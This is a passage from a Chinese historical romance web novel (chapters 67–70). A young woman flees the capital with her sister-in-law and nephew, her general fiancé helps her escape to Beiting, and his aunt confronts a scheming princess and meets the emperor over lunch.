那人被其掐得脸色发青,若不是一旁的女郎上前阻拦,他大抵就交代在这儿了。 那女郎轻唤:“逐电,松手。你忘了我怎么嘱咐你的?这儿不比北庭,一定要戒骄戒躁,切莫鲁莽。不要给大人惹麻烦。” 逐电倒也听劝,她将人扔去一边嬉皮笑脸道:“我忘了,火玉阿姊见谅!” 火玉摇摇头,想她还是这般不着调。 可那人就算倒在地上大口喘气,却仍坚持不懈地说:“你,你们等着,有些账长公主会跟你们好好算……” “长公主?哪个长公主?”火玉下意识转眸问,那人以为火玉是害了怕,“自是执掌护军府赵家的临芳长公主,呵,宵小之徒现在知道怕了?晚了。” 却不料此话一出,火玉转眸与逐电相视一眼,异口同声道:“拿下!” 她俩奉命前来,本以为这几个不过是趁机作乱的小贼。 没成想,竟叫她们歪打正着了! 这时间,那端的柳善因望着徐玉之苍白的脸,坚定道:“嫂嫂,跟我走,咱们得赶快离开这儿。” 徐玉之转眸应了声:“好。” 两个人相视而望,没有犹豫,互相搀扶跨出了门。 门外的声音惊动了对面房间的人。 火玉抬眸望着两个女子单薄的身影路过眼前,转而与身旁将人五花大绑的逐电认真交代:“你腿脚快,你去好好跟着她们,切莫跟丢,路上记得按大人的要求标记。” “这边就交给我来审,等审出消息,我即刻去跟大人禀告。” 逐电呆头呆脑哦了一声,转身便人如其名般一溜烟从窗户跳了出去,消失在了寂静的小巷里- 柳善因和徐玉之腿脚慢,俩人走上长街,一步三回头生怕身后有人追赶。 直到来到老郎中的铺面前,柳善因才松了口气,将嫂嫂带了进去。老郎中哄着娃娃,转头瞧见门外来人,下意识道了句:“行了,小子不用闹了,你娘回来了。” 小家伙听懂了老郎中的话,转过头高兴地要抱。 徐玉之立在一旁,望见那张日思夜想的小脸,顿 时泪如雨下。她真的太苦了,那些人利欲熏心,却叫她母子分离,思念就宛若压在她心口的石头,叫她每一分每一秒都喘不过气。 她再也按捺不住心里的悲伤,上去从老郎中怀中抱起娃娃,嚎啕大哭。 柳善因见状也悄悄抹起眼泪。 她想能叫他们母子相聚,自己的选择或许不能算错…… 老郎中见多识广,人家不说,他也不问。 他只好心提醒了声:“哭多了肺气虚弱,该喘不上气了,我瞧这位娘子肝肾两亏,还是要多多注意。” 柳善因闻言上前拍了拍徐玉之的背脊,“嫂嫂,先生说得对,往后的日子还长,没有人能把你和小宝再分离,你一定要好好保重身体。” “小妹……”徐玉之抽抽搭搭,她抬起头抱着小宝扑进了柳善因怀里。 她现在只有他们了。 “嫂嫂,趁着他们醒来之前,我们离开洛阳吧。” 柳善因揉了揉嫂嫂的肩,主动担起了作为家人的责任,她垂下眼眸,已然想好要带着嫂嫂和小侄子一起远离这场是非,逃去个没有人能找到她们的地方。 她在哥哥的灵前起过誓,一定要帮他守护好这个家。 纵使对赵留行充满亏欠,甚至也违背了她对他的承诺,但柳善因实在没有了办法,势单力薄的她,能想到最周全的办法仅此而已,她不肯牵连赵留行,亦不愿再麻烦他。 正如她给赵留行留的歪扭字条一样:谢谢你……对不起。 柳善因满是无奈, 却也只能不辞而别地离去。 她想,等一切安定,再选个合适的时候亲自跟赵留行道歉吧,但愿他还愿意原谅自己。 至于,约定好的成亲,她就不再奢望了…… “好,好。” 徐玉之哭干眼泪,连忙点头。 她当初是不情不愿地离家,如今能叫她与小妹这样重逢,是祸也是福。所以,只要能和他们在一起,不再回去,柳善因叫她去哪,她都愿意。 事不宜迟,二人以防万一得快些出城。 柳善因便回过头,将今日的药钱递给老郎中,“先生,今晚多谢。只是有些事……” 老郎中垂了眸,一脸淡然,“老朽只管看病,其余之外,与老朽无关。” 柳善因再次道谢。 待她扶着徐玉之转身,老郎中又叫住了她,只见他看在这些时日的情份,拿了一小罐药递向柳善因,“这是个补气血的方子,路上颠簸,你拿去给这位娘子吃,对她有益处。” 老郎中的善意,让柳善因无以言表。 她给老郎中鞠了躬。 老郎中摆摆手,在他们离去后,默默放回了最后一块门板- 姑嫂两个抱着孩子一路顺着长街行行走走,终是赶在子时前从最近的城门逃了出去,王城虽没有宵禁,却会在每夜子时关闭城门,期间但凡想要出入者,需持令牌才能放行。 柳善因与徐玉之回眸看着缓缓关闭的城门,气喘吁吁,恍惚有种莫名的失落感。 她真的就要这样离开了吗? 事情怎么就成了这样。可明明和嫂嫂重逢应该开心,她却为何会这样难过…她甚至有一瞬还在担忧,土酥不在,明日赵赵将军下值该吃些什么…… 只是,纵有再多不舍,柳善因却也无法回头。 眼下的当务之急,应是连夜赶路,如此才能摆脱那兄弟二人的追踪。 守城的士兵堪堪下钥,便有人驾马疾驰而来。他听马上人急呼:“放我出城。”抬眸诧异万分。直到瞧见那张明晃晃的都护令,才惶然招呼身边的人:“快点开门放人,放人——” 紧接着,一个俊逸的身影便从初开的城门中驾马跃了出来。 奔腾的马蹄声,踏碎了夜的深沉。 “小柳。” “赵赵将军!” 柳善因在一声痴痴的急呼中回眸看,赵留行正收鞭勒马,踉跄着朝她奔来。 柳善因一脸茫然,她不知赵留行为何会出现在这儿。 她只怔怔伸手将人接入怀中。 赵留行猛然抱住女郎,差点没将娇小的柳善因撞翻,他一路横冲直撞,生怕来晚,他发誓今日若与柳善因这样错过,哪怕违抗圣意,他也要离开洛阳追她而去。 柳善因脑子嗡嗡,她在眼前人的怀抱里惑然去问:“赵赵将军,你不是在上值吗?怎么会来这儿?” 赵留行反问她,“你要往哪去……” “我……”柳善因支支吾吾。 赵留行自顾自地追问:“你不是答应过不会离开我?要一辈子在我身边?你不与我成亲了?” 徐玉之在旁抱着小宝,搞不清状况。她瞪着眼,不知要不要帮小妹将这怪人拉开。 柳善因却埋在那人胸前,跟他开口道歉:“赵赵将军,对不起,真的对不起。事发突然,有些事我来不及跟你解释,我知道不告而别是我不对,我也不敢奢求你原谅我,但请你相信我,违背答应你的事并非我的本意,我是真的没有办法…我想救嫂嫂,更怕连累你,所以想来想去只能……” 可赵留行若真的怪她,便不会死乞白赖追到这儿,他放任她离开就好。 瞧他在女郎诚恳的解释里,捧起她的脸,深深吻了上去。 当下,似乎没有什么能比一个吻,更让他解气。 柳善因傻愣不语。 她还以为以赵留行的脾性,怎么说也得将她一顿臭骂,甚至打她也有可能。 没成想,他竟二话没说吻了她。 小家伙不知状况,瞧着二人欢快地笑,徐玉之赶忙捂住了儿子的眼睛,自己却瞠目而望。 柳善因僵直了身子,不知所措。 赵留行旁若无人地拉起她的掌心,将带来的东西一一交给了她,“小柳,既然决定要走,那就从这儿一路往西,带着嫂嫂和小宝去北庭吧。这是都护府的通行令,还有我在都护府所住南院的钥匙。” “赵赵将军,你不是来…而且你怎么知道……”柳善因抬头讶然。 对,赵留行不是来阻拦她,亦或是责怪她为何要做出这样的决定。 他眼里带着不舍,嘴上却还沉声说:“剩下的事,我来解决。我很快就会去北庭找你,只是要麻烦你受累,收拾收拾咱们的新家。” 柳善因不敢置信,她头一遭主动抱上了他,“赵赵将军。” 赵留行的怀抱,是这世间除了家外,最温暖安心的地方,柳善因开始有些留恋于他身上的气味。 她就这样抱了他许久。 等她再恋恋不舍地抬眸,却惊奇地发现,那素来威严冷酷的赵赵将军,居然偷偷红了眼眶。 柳善因讶然张口,“赵赵将军,你哭了吗?” 赵留行却矢口否认,“没,你看错了。” 第68章 第68章欺人太甚 赵留行走后,赵平澜靠在丰德门外的阑干上久久未动。入夜的宫城依旧肃穆,巍峨的城楼就像座巨大的牢笼。她眨眨眼,眸子中是一片如死水般的寂。 赵平澜并未放任柳善因不管。 她在派了两个人跟踪护佑柳善因的安全后,便只身一人拿着那张丑丑的字条,来丰德门外寻了赵留行。她想把选择权交给侄子,毕竟这是年轻人之间的事。她只要做好她该做的,其余的皆与她无关。 赵平澜不像那些人一样,总自以为是地想要掌控一切。 宫门戌时下钥,赵平澜知晓赵留行不能私自出宫,便直接将消息递去了贺鹮归那。 怎料,当天子趁夜披衣又惊又喜打开那张,号称是赵都护亲自递来的纸条,却被上头凉薄的话语,气得两眼一黑,“现在让三郎出趟宫,我在丰德门外要见他。” 赵平澜简明扼要,居然直接跟天子下了令。 侍奉在御前的女官就着灯火望去,天子的脸色竟比夜色还沉。贺鹮归猛地将纸条揉皱,大骂了声:“欺人太甚!” 疯女人弃他,睡他,现在还敢命令他?! 天子震怒,惊得众人哗啦啦跪了一地,恰巧今日在御前值夜的赵留行,也跟着单膝跪了地。段翁斗胆过去拾起掉落在桌边的纸条定睛一瞧,转而试探着跟贺鹮归说:“陛下,这……” 没成想,贺鹮归竟无言起身去到赵留行面前,乖乖听了话,只见他狠狠按住赵留行的肩压低声音道:“找内常侍拿令出宫,你姑在丰德门外等你。” 赵留行茫然抬眸,我姑? 哪个? 后来的事,不过是赵平澜在丰德门的阑干前,跟赵留行简单的叙述。她把今日发生的事,全部告诉了赵留行,还把柳善因留下的字条亲手交给了他。 可赵留行听后却盯着那张含义不明的纸条,一脸惑然。他刚准备动身想着先把人找到再说,就收到了柳善因和徐玉之要出城的消息,以及火玉从那些人口中问出的原委。 赵留行在戌时将近的夜里愣然。 赵平澜以为以赵留行的脾性,一定会怒不可遏地将人带回来。 未曾想,在她 堪堪转身跟火玉交代完,该如何处置贺盈安派去的那些人后,赵留行便同她要了北庭都护府的通行令,以及南院的钥匙。他知道这些东西赵平澜一定带在身上。 可赵平澜无解,“你要这些做什么?” 赵留行答曰:“我要让小柳去北庭,只有她去了北庭,我才能安心。” “小子,你要放她走?” “我瞧得出你是真喜欢那丫头,你难道不怕她半路改道,一去不归?这可是你最后的机会。有人错过,可就不会回头了。”赵平澜闻言万般诧异,但她没想干预赵留行的决定。 她只是太过惊讶于这个答案,才不敢置信地确认。 赵留行却笃定道:“我想小柳这么做一定有她的道理,我不能替她决定去留,既然她要逃,我就帮她逃去北庭。再说她留下始终是个变数,那位说不准又会想些什么损招。” “而且我始终相信,她不会真的狠心抛下我。” “……” 赵平澜陷入沉默。 她不明白是自己太过阴暗,还是年轻人太过天真。 她实在难以相信世间会有这样纯粹的感情,两个人竟然能一心只为对方着想,甚至愿意为对方牺牲自己,就同破晓时分的露般清澈透明,看不见丝毫污浊混杂。 不像他们。 月色朦胧,赵平澜默默掏出赵留行想要的东西,最后只说了句:“我会让逐电和火玉暗地护送她们回去,你不必挂心,记得早去早回。重要的事还没解决。” 便放了赵留行离去。 赵平澜看着奔腾的马蹄扬起尘烟,热烈的儿郎追爱远去,彻底怔在了原地。 她就这么在丰德门外茫然坐了许久。 赵平澜脑海中莫名闪过许多从前和贺鹮归偷偷在一起的日子。 那年的贺鹮归还不是皇帝,只是还未被立为储君的梁王殿下,而她也不是北庭都护,只是护军赵家最惹人厌的二娘。他们在无人知晓的地方,共同骑射,一块赏月,互相恭祝新岁安泰。 傲世轻物的梁王殿下,遇上了离经叛道的赵家二娘,被她在王府后院的梨花树下,一路拖着下坠,至此未休。 赵平澜知贺鹮归应是爱她也恨她。 她也承认,她确实欠了他。 但直至此刻,当赵平澜瞧见柳善因和赵留行,她才忽而察觉她和贺鹮归之间或许根本算不得爱,应是患得患失的占有,求而不得的不甘。 赵平澜抬起头,怅然望去城楼的方向。 她想是时候该离开,偏在倏忽之间,望见了那个傲然的身影,于遥远的城楼上矗立。 赵平澜眯起眼睛,模糊不清那人的模样,却还是认出了贺鹮归,只因彼时人在她的记忆中太过特别,他的每一寸,早已深深刻进了她的灵魂,就算将来不复相见,她也再难将他忘却。 城楼上的贺鹮归负手而立。 此刻天子傲然睥睨,纵使江山再广,也不及一人能填满他的眼眶。赵平澜在此地坐了多久,他就在城楼上看了多久,他的注意半分未从她的身上离开过。 贺鹮归到现在也想不明白,那个曾经宁愿受罚,也要偷偷翻墙跑来王府与他腻在一起的女郎。 怎么突然之间变成这样…… 贺鹮归的眼神,从赵平澜抬头望她那刻,开始变得狠绝。 赵平澜却突然收敛去凝视他的目光,起身头也不回地离去。贺鹮归望着赵平澜决绝的背影,愈发不安,甚至抓狂。他一路奔下城楼,想要让她回头,却在漆黑的城门下愣然。 他忘了,他们之间终究隔着道厚厚的宫墙- 城外的官道上,赵留行一遍遍交代北庭的方向,听得柳善因脑袋大大的。她拉着赵留行的手,小声嘀咕:“赵赵将军,我真的知晓了,再说一路上有驿站和商队,我可以问啊。不会走错的,你就放心好了。” “真的?”赵留行其实不是不放心,只是舍不得放手。 柳善因点点头,“真的!” “好,那你们就……”赵留行恋恋不舍,但他也知晓他们迟早得分别,他便长痛不如短痛。 哪知道,他才打算松手,又换柳善因絮叨起来,“对了赵赵将军,忘记交代我在厨屋腌了酱菜,你别忘了吃掉,小菜园的青菜也快能吃了,你记得摘了。还有,你的衣裳,我已经按顺序整理好放在柜子里了,你拿的时候不要弄乱了。以及,我不在的时候,你一定好好吃饭,好好睡觉,不要生病,更不要犯倔。” 柳善因的叮咛里满是对赵留行的关心,从未有人将他这样挂念。 他便又放不开手去,“小柳,我舍不得你……” “赵赵将军,我也是。”柳善因也忍不住埋在他怀中哼哼唧唧。 两个人分别了半晌, 好不容易即将分离,结果又重新抱在一起。 “……” 徐玉之蹙眉无言。 不行,她走? 徐玉之看到现在总算是看明白这二人是怎么回事,她不好意思催促,只得咳嗽两声以做提醒。赵留行听见动静,赶忙推开了柳善因,柳善因也慌张松开手,退了出去。 “你要不要再看眼小宝?” “我能不能再看眼小宝?” 话音落去,两人随之举目相视,羞羞答答,气氛愈发不对劲……- 翌日一早,赵留行送别柳善因也没心思再去上值,便魂不守舍地打开房门,准备到外头透透气,偏吓得正巧前来敲门的二姑一跳,“干,赵三郎,你怎么这副鬼样?” 赵平澜打眼瞧,眼前人蓬头垢面,顶着黑黑的眼圈,一脸半死不活的丧气相。 她纳闷,人才走了一晚不到,他就把自己弄成这个样? 若是再多上几日,那还得了? 可她不知道,赵留行昨儿办完事回来,瞧见柳善因整理过的床铺,以及她生活过的痕迹,忍不住趴在床边抱着她的枕头偷偷伤心了好半晌。 这王城,他真是半刻也待不下去,他的魂也跟着柳善因飞回了北庭去…… 赵留行垂着发昏的眼眸,低声问:“二姑找我?” 赵平澜这才想起正事,与之提醒道:“那边你给处理好了?” 赵留行点点头,遮了遮外头透来的天光,漫不经心道:“吃醉酒不小心从楼梯跌落摔断腿是常事,不小心损坏了店里的好酒也是常事。那罪不可数的二人,大抵一个在医馆,一个在衙门,全都分身乏术。此番落得这般,已然算是轻饶了他们。” 赵平澜听后没去多言,她只哦了一声,“火玉和逐电已经上路,路上有什么状况她们会看着处理。你准备准备,咱们下月初四就回北庭。” “下月初四,这么快!”赵留行瞬间清醒,幸福好似来得太过突然。 赵平澜瞥了他一眼,“怎的?你不想回就算了,正巧柳娘子走了,我替你求陛下赐婚,叫你留在这里?” “二姑知道我不是那个意思。”赵留行认怂。 赵平澜转过身,没再搭理。赵留行抬眸追问:“ 您要出门?” 赵平澜却漠然回了句:“回护军府还人——” 第69章 第69章吃不起饭 护军府的清晨,安静得不像话。这没有人情味的地方,就连使人之间的交流也是冷漠的。 赵温香领着闺女跟贺盈安请过安,刚打算往老太太那去,就正巧碰上赵平澜抓着个五花大绑的男子往内宅来。 她瞧见赵平澜没跟府里的其他人一样,当她是个瘟神般避而不及,反倒是大大方方抱起闺女上前诧然道:“二姑,您这一大早是来……” 赵平澜寻省一抬眼,正巧跟小丫头对上视线,她直截了当地问:“这是你那闺女?” “是,上回二姑回来菱儿病了,您没见着——菱儿,快叫二姑奶奶。” 赵温香掐了掐闺女的小脸,小丫头有些怕生,也有些畏惧眼前这个看上去凶巴巴的二姑奶奶,便一头扎进了阿娘的怀里。 赵平澜有些尴尬,赵温香也不好意思地赔笑,“菱儿胆子小,二姑见谅。” 赵平澜个大人岂能跟小孩子计较,她便转而问赵温香,“知道那位在哪吗?” “那位?”赵温香稍稍迟疑,“哦,我刚从云鹤斋出来,那位在院里剪花呢。” “您要找她……” 赵温香话音刚落,赵平澜就抓着手里半昏半醒的人,抬脚往云鹤斋去。 可才走了几步,她又调头走了回来,叫赵温香不明所以,只瞧她那一向我行我素的二姑竟然掏出自己仅剩的一锭银子,朝她怀里塞去。 赵平澜沉声解释:“出门匆忙,也没带什么见面礼,这个你拿着自己给孩子买些东西。” 看来她是记着上回赵留行的话…… 偏惹得赵温香瞠目而望,她简直不敢置信,这是二姑说出来的话,办出来的事!可还没等她出声道谢,赵平澜就已回身走远,余剩下她一人抱着孩子,拿起那一锭银发呆- 云鹤斋里,贺盈安送走赵无征后,便独自呆在院中修剪花草。 期间陆陆续续前来请安的人,也未曾扰乱她的兴致。打远瞧她那牡丹纹的袖衫在天光之下泛着淡淡的金,手中鸾剪穿过花枝亦是干脆利落。 赵平澜气势汹汹地来,一个面目可憎的男子忽而被二姑奶奶丢进院中,着实叫贺盈安身侧的使人吓得退避三舍,却并未吓住那位雍容的贵人。 贺盈安依旧如常般不动声色,她素手捻起一条被修剪下来的花枝,转眸将赵平澜打量。 直至跟那男子对上眼神,她也依旧是一副事不关己的模样。 她反倒训斥起赵平澜,“一大早带个外男私闯本宫这内院,老二你是不是也太不知规矩?别以为你如今有功在身,就能在护军府为所欲为。你要记得,你姓赵,就必须要守着家里的规矩!” 赵平澜自是不吃她那套,她也没想跟贺盈安说些有的没的。 她若怕她,今日就不会来。 只闻她在贺盈安抬眼后,踩着那人阴声说:“管好你的人——从前你如何在赵无征面前编排我,我懒得与你再多计较。但是现在我不管你跟侯府,跟秦氏有多大的仇怨,别再给我打三郎,甚至是柳氏的主意。” “不若以我的性格,不会让你们好过。我说到做到。” 赵平澜清晰地知道,贺盈安人面兽心,护军府这些年桩桩件件,哪一个不是她的手笔,但赵无征这见利忘义的小人,亦是好不到哪去。 她如今给他们留三份薄面,也并非是念着兄妹情谊,不过是看在老太太的份上罢了。 贺盈安将眼前人怒目相视,气得折断了手中花枝。 她挑起眉,平生最讨厌有人这样无礼的对待她,她自命不凡,总自诩是天上的凤凰,却只不过心比天高,她其实只要愿意睁眼瞧瞧,便知自己除却一个破败的护军府,和一个长公主的名号,还有什么? 是,徐家那兄弟俩就是她骗来的。 自从那日柳善因在府中醉酒后,她便顺藤摸瓜,查清了她的身份,甚至查到了徐玉之头上。 贺盈安在乎脸面,在乎名声,必不会自己动手将人请来跟赵留行对峙。 她要的是事情自己败露, 徐家人告上衙门,她好坐收渔翁。 于是乎,她便利用了徐家兄弟的贪心,叫人扮了个江南的富商,编出个不会生育的幌子,引诱徐家那俩傻子上钩。可苍蝇不叮无缝的蛋,也怪徐家的兄弟贪心不足,一心想要“卖掉”徐家二娘,才会上了她的当。 甚至那谎称从洛阳经商归来,给徐家兄弟透露柳善因行踪的董家郎,也是她刻意安排。 她本以为自己的计划万无一失,却独独轻视了她们的力量。 柳善因如是,徐玉之如是, 赵平澜更如是。 没有一人任由摆布,她们有自己的胆量。 “老二,你别太得意,中书那边已经拟了赐婚的圣旨,事情很快就成定局。你想要的,不可能得到。”贺盈安固执己见,一叶障目。 可她却不知赵平澜早有应对之策。 更不知她苦心计划的一切,其实都是在为他人做嫁。 赵平澜不屑地望着贺盈安,想起了数年前,她站在赵无征身后那抹透向自己诡谲的笑,只觉她可怜又可悲,高耸的院墙困住了她所有念想。 贺盈安猜不透她的眼神,一味厌恶地回望。 赵平澜偏在离去前,说了句模棱两可的话,“那殿下就等着中书下令。” “我想说的都说完了,走了。”- 赵平澜归家时,已近午时。 赵留行堪叫长夏用家里账上仅剩的银子跟乳娘结了账,转身回房刚有了睡意,躺在床上小憩,就被来人揪着耳朵拽了起来,“您这是作甚!我好不容易不想小柳,能有些睡意——” 赵留行茫然坐在床边,揉着耳朵愤愤不平。 赵平澜却环臂站在屋里,冲他差遣道:“小子,去叫人送饭,为你的事折腾我这么久,竟连口热乎饭也无?你就这么孝顺长辈?” 赵留行闻言撇撇嘴,不情不愿地起身朝门外走去。 可等赵平澜倒了杯茶饮下,她家那傻小子又懵着脑子走了回来。 “怎的又回来了?”赵平澜不解。 赵留行却朝她伸手,“给钱。” “跟我要钱?你攒的那些呢?”赵平澜茫然搁下水杯,赵留行有些不好意思,“我全给小柳了……您给我些,够咱们吃饭便行,我也不多要。等我下个月领俸禄,再还您就是。” “……” 赵平澜陷入沉默。 赵留行惑然在她眼前挥挥手,“我跟您说话呢?您堂堂大都护,总不能连个吃饭的钱也拿不出吧?” “确实拿不出了……别说你了,我也全给柳娘子了。”赵平澜说这话时,脸上多少有点挂不住,“就连剩的最后一锭银,今早也被我塞给你大姐那小丫头了。” “啥?”赵留行大惊。 合着全家的钱都被柳善因给带跑了,他们这姑侄俩现下分文不剩! 赵平澜见状厉声驳斥,“你还敢啥!不是你非要抢我钱袋,给那孩子那么多所谓的见面礼,能叫咱俩今日吃不上饭?” 赵留行辩解,“谁知道您真就带了那么多钱啊——那行,既然咱俩现在兜比脸还干净,家里账上也没钱,也别吃了,就在家里睡觉,如此能省一顿是一顿。” 赵留行说罢就要往床上倒,气得赵平澜起身奔了他一脚,她骂:“臭小子,我不管。这事都是因为你,我管你今日想什么办法,都得给我弄口热乎饭。不若,你别想睡觉。” 姑侄二人起了争执。 赵留行又犯起了倔,“凭什么叫我想办法?您是长辈,您怎么不想办法!” 赵平澜蹙起眉,她想办法?她能想什么办法?她跟家中关系不好,在京城也没有什么故友,独独相识的也就那一个,她总不能为了一顿饭,过去找他。 那她成什么人了! “你小子还跟我嘴硬——” 赵平澜想不出办法, 还能收拾不了赵留行? 只瞧她伸出拳头就要跟小时候般揍他,吓得赵留行抬手躲避,“等等,等等!我想起了,风听还欠我十几两银子。等他今日下值,我就找他要,肯定让您吃顿好的。” “那今天中午呢?”赵平澜闻言收敛起拳头,却并未打算收手。 赵留行躲躲闪闪,试探着问:“您,您饿一顿就不行吗?” “一顿?不行,早起那顿我亦没吃,我现下饿得慌。你不让我吃饭,就吃我拳头。赵三郎,你自己看着办。” 二姑寸步不让,赵留行欲哭无泪。 这家离了柳善因,他是一天也待不下去!他便又言,“厨屋有小柳留的腌菜,您就凑合一顿。晚上,晚上我保证让您吃上好的,如此可行?您,您就饶了我吧。” 赵平澜有所迟疑,她刚想吐口,长夏就从外头一路小跑过来大呼道:“二姑奶奶,二姑奶奶,宫里来人说是淑妃娘子请您过去用午膳,您去吗——” “老三叫我作甚?” 可既然中午饭有了着落,赵平澜抬起头想也没想,便抛下赵留行应声说,“去!” 赵留行望着二姑难得爽快的背影,诧然追问:“您去了,那我呢?长夏,你确定没听错,淑妃娘子没叫我也一并前去?” 长夏摇摇头,“他们只叫了二姑奶奶。” 赵平澜闻言冷笑道:“你?你就在家吃你家那位给你留的腌菜吧,我不与你抢,全都是你的。”- 去往恩庆殿的宫道狭长,赵平澜心向广阔,走在其中难免压抑。 她来前随意换了身衣衫,简单挽了个发髻。 尽管如此,鬓边飘忽的碎发还是掩不住赵平澜动人的脸颊,她抬起头,望着没有尽处的宫墙忽而叹了口气,身后却有人叫住了她,“昨日叫朕办的事,赵卿可还满意?” 贺鹮归声音沉沉,赵平澜望见他的那张脸,愣了一下。 他为什么会在这儿? 贺鹮归却好似忘了那日的争吵般,故意靠了上来。 赵平澜或许不知道,骄傲的天子在不经意听闻恩庆殿邀了赵都护入宫的消息后,急匆匆撇下一众内阁老臣,踏上了去往恩庆殿用膳的路。老臣们私以为皇帝开了窍。 没成想,他却为的是赵家二娘,不是老三…… 赵平澜垂了眸,与身边人客气了句:“昨晚多谢陛下。” 贺鹮归凝视着她眉尾上那道醒目的疤,心疼地说不出话,可当想起眼前人对自己的所作所为,又有些愤然,“你永远只有需要朕做这些的时候,才会想到朕!” 不,还有想做那事的时候。 贺鹮归眼中尽是无奈,他个舌战百官的皇帝,却唯独不敢与之说重话。 赵平澜没接茬,她这会子跟贺鹮归碰上着实有些尴尬,就好似她真是来找他蹭饭的。 贺鹮归不知其解,只瞧他转过头,兀自琢磨起来……自己明明能做的都做了,也巴巴过来求和,这人缘何又是这个态度?她若真不想搭理自己,那昨日还求他作甚? 赵平澜的态度,让贺鹮归患得患失,赵平澜本人却茫然无知。 君臣二人行至恩庆殿外,她更是木讷地拱手与之道别:“臣到了,陛下忙去吧。” 贺鹮归挑了眉,冷笑道:“赵卿什么意思?你难不成以为朕是闲的无事,特意过来送你?赵卿未免也太将自己当回事了,朕是来恩庆殿找淑妃用膳的。” 他也来用膳? 赵平澜不可思议,她若知晓是这样,还不如跟臭小子在家吃腌菜! 贺鹮归瞧着眼前人那副吃瘪的神情,私以为她生出几分醋意,转头得意洋洋地抚袍往大殿走去。 彼时,殿中的赵平涓听见动静以为是多年未见的二姐来了,欢欢喜喜地迎上前眯眼唤了声:“二姐——” 谁成想,待她仔细睁眼瞧,贺鹮归居然一脸严肃地出现在自己面前,顿时吓得她扑通一声跪了地。 “陛下。” 赵平涓动作丝滑,由喜转悲也只用了两秒,她垂眸跪着,叫随之而来的赵平澜立在殿前瞠目结舌。 贺鹮归早已习惯了赵平涓这副谦卑恭顺的模样,抬脚二话没说绕开她,往大殿深处去。赵平澜见状几步上前,就要将人扶起,可赵平涓却怎么也不愿起身。 她一个劲给二姐使眼色,让二姐莫要冒失,谁料,赵平澜直接厉声唤了声:“陛下。” 差点没把赵平涓吓飞了神。 贺鹮归却循声回头,看着赵平澜的眼色沉声道了句:“起了吧。” “多,多谢陛下。”赵平涓胆战心惊地起身。 赵平澜拉着她瞧了又瞧,“没事吧。” 赵平涓摇摇头,不敢多言。 赵家那么多人,赵平澜都无所牵挂,独独这个小妹,总叫她心疼。小时候,赵平涓总在她受罚的时候哭着跑来看她,每次看她的时候,又都会趴在她的床前睡着。 一晃就是好多年过去,赵平澜怎么也没想到,等她们再见面,她竟成了这副模样。 说起赵平涓应是贺鹮归立储那年,才被赵家送进东宫的。 同年的旧人里,身为太子妃的钱氏在封后的第二年被废,萧侧妃,冯良娣,黄良娣这些世家女也早已随着家族的兴衰一一零落,单留下赵平涓个淑妃娘子带着恐惧,日日如履薄冰。 她总觉得,自己将会是下一个。 可事实上,贺鹮归若不是念着和赵平澜的旧情,早就将她用同样的手段废掉,更不会让她一路高升做到了淑妃的位子。便也是因为如此,赵家那些不知内情的人才会私以为赵平涓颇得圣宠,事事来求。 贺鹮归在旁人眼中,从算不得个温和的善人…… 然赵平澜也并非是因为贺鹮归爱她,才有恃无恐,而是因为她足够强大,才不惧于他。 赵平涓缓过神,不敢跟赵平澜多寒暄,转头追去贺鹮归面前颔首道:“陛下今日怎的有空过来?您不是在内阁议事?妾身不知今日陛下过来,邀了姐姐入宫,跟陛下冲撞,还请陛下恕罪——” 赵平澜看不惯这样卑躬屈膝的生活,却也只能无可奈何地尊重,她拱了手,不想叫小妹为难,“既然陛下驾临,臣就不扰陛下和淑妃娘子的清净,臣改日再来探望淑妃娘子就好。” “二姐……” 赵平涓转了头,想要挽留赵平澜,却被贺鹮归出言打断,“怎的?赵卿是嫌朕碍了你们姐妹的事?” 赵平涓惶恐,跟着就要往地上跪,竟被赵平澜一把拉了起来。 赵平涓不敢置信地望向二姐。 今日往前,从也没人像她这样替自己撑过腰,哪怕是贺盈安来,也只是一味冷眼旁观。赵平涓就这样一脸崇拜地望着二姐,听她与皇帝直截了当:“臣不敢,臣只是不想淑妃娘子作难。” 贺鹮归冷哼,他在赵平澜面前见好就收,他比谁都了解赵平澜的臭脾气,“恩庆殿不开膳吗?赵卿既然来了,就留下吃顿饭再走吧,朕也不是不近人情的人。” 赵平澜眯眯眼,合着今日这顿饭,真成蹭他的…… 赵平涓闻言连忙抓住她的手,将其带到了那张偌大的饭桌前,与身边的宫人吩咐道:“开,开膳,这就开。听不见陛下的话吗?去传膳——” 事已至此,赵平澜也只得拱手说:“那臣便谢过陛下,谢过淑妃娘子。” 席间,三人对坐,寂静无言。 直到御前侍奉的女官急匆匆觐见,才打破了恩庆殿里的沉静。 贺鹮归抬起头厉声问:“何事?” 女官躬身答曰:“内阁那边请您过去,说是故岚派使臣请求和谈……” 此话一出,贺鹮归怔了一下,他有些不敢置信,侵扰西边十五年的心腹大患,竟头一遭破天荒地主动和谈,“你说故岚要和谈?” 女官确认说:“是。” 贺鹮归这才恍然抬眸,望向对面的赵平澜。 赵平澜亦淡然抬头直视起他的眼睛,二人四目相对,贺鹮归却没有想象中那般喜悦,他怅然握紧了拳头,再也不愿放手…… 第70章 第70章别无选择 饭后,赵平澜站在殿后的花窗前怅然望向那树枯萎的朱砂梅。 这顿饭她吃得并不踏实。 自贺鹮归突然离开后,她便盯着他那早已冷透的碗筷开始发呆,她在想小妹是不是日日都这样苦熬? 赵平澜抬眼望寂寞的宫墙遮蔽住温暖的光,留给殿中只有数不尽的阴与冷。 这样一眼望到头的日子,让赵平澜遍 体生寒。 可她又实在无力改变什么,她并不庆幸于自己不是被困在牢中的那一个,她只一味感同身受着。 赵平涓安排好殿中事务,像儿时般给她捧来一杯热茶。 赵平澜回神伸手接过道了声:“多谢。” 现下殿中只剩了她们两个,她便看着小妹不再闪亮的眼眸沉声问:“这些年过得好吗?” 赵平涓靠在花窗的另一边,与之对望。 她道:“还行,能有什么好不好的,嫁了人,日子不都那样过?我啊,不像二姐打小就勇敢,能给自己拿主意,还敢跟大哥他们对着干。我能活成如今这个样,已经很是知足了。” 赵平澜扫视过小妹头顶华贵的珠钗,瞧得出她张口时有许多无奈,可她却还是跟小时候一样懂事,“二姐千万不要挂心我。陛下其实不常来我宫里的,我有很多自己的时间可以读书,写诗,作画,一点也不无聊呢。” “反倒是二姐,我听说北庭凶险,年年打仗,你这一去不归八年,日子肯定很辛苦。不过今日听陛下说的意思,故岚和谈,边境初定,二姐立了大功!您往后是不是就不用这么辛苦了?” 赵平澜垂了眸,哽咽着说不出话来。 她的心中有愧,她想当年她若应了贺鹮归的求娶,小妹是不是就不会过上这样的生活? 其实不然…… 赵平涓的命运从一出生就好似被写好了般,就是不入东宫,她也会被赵家利用送进另一座高墙。赵家除却赵平澜,应是无人在意她的喜悲。 